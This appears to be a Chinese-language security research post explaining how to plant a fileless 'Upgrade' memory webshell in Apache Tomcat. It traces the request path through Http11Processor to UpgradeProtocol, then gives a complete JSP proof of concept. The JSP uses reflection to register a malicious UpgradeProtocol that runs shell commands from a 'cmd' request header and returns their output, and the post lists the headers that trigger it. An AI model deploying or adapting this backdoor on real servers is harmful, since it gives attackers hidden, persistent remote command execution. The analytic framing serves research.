Tomcat-Upgrade
0x01 Previous Review
上篇的Executor内存马是在EndPoint下的，实际上Processor中也能找到内存马的植入点
Processor负责处理字节流生成Tomcat Request 对象，将Tomcat Request对象传递给 Adapter。其实就是处理HTTP请求的，对应的类为AbstractProcessorLight
0x02 Analysis
NioEndpoint#doRun处理网络Socket连接，调用AbstractProtocol$ConnectionHandler#process
跟进看到，创建了一个Http11Processor（AbstractProcessorLight子类），并调用其process方法，跟进去看看
status为OPEN_READ，调用service方法
若请求的Connection头字段有Upgrade标志，且存在Upgrade头，首先通过AbstractProtocol#getUpgradeProtocol获取UpgradeProtocol对象，再调用其accept方法（利用点便在此）
拿到Upgrade头字段后，通过httpUpgradeProtocols.get(upgradeName)获取UpgradeProtocol
所以接下来的关注点就在httpUpgradeProtocols
全局搜索httpUpgradeProtocols，发现AbstractHttp11Protocol#configureUpgradeProtocol往其添加UpgradeProtocol
搜索发现AbstractHttp11Protocol#init中调用了configureUpgradeProtocol
说明httpUpgradeProtocols是在Tomcat启动时被实例化的。
在当前上下文找到AbstractHttp11Protocol（上下文环境中会是Http11NioProtocol），通过反射往httpUpgradeProtocols加入我们自定义的UpgradeProtocol就行，UpgradeProtocol的accept方法加入恶意代码。
0x03 POC
构造恶意UpgradeProtocol
在Http11Processor的process方法中会检测Connection和Upgrade的头部字段，根据Upgrade头部字段获取UpgradeProtocol，调用其accept方法，参数是org.apache.coyote.Request，刚好能通过反射获取到response对象。
public boolean accept(org.apache.coyote.Request request) {
System.out.println("MyUpgrade.accept");
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception e){}
return false;
}反射修改httpUpgradeProtocols：
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put("p4d0rn", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);访问时需带上下面头字段：
Upgrade: p4d0rn
Connection: Upgrade
cmd: calc
完整POC：
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class MyUpgrade implements UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled) {
return "p4d0rn";
}
public byte[] getAlpnIdentifier() {
return new byte[0];
}
public String getAlpnName() {
return null;
}
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
return null;
}
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
System.out.println("MyUpgrade.accept");
String p = request.getHeader("cmd");
System.out.println(p);
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
System.out.println("hhhh");
InputStream in = new ProcessBuilder(cmd).start().getInputStream();
BufferedReader stdInput = new BufferedReader(new InputStreamReader(in));
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
resp.setHeader("Result", s);
} catch (Exception e){
System.out.println(e);
}
return false;
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put("p4d0rn", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);
%>
参考：
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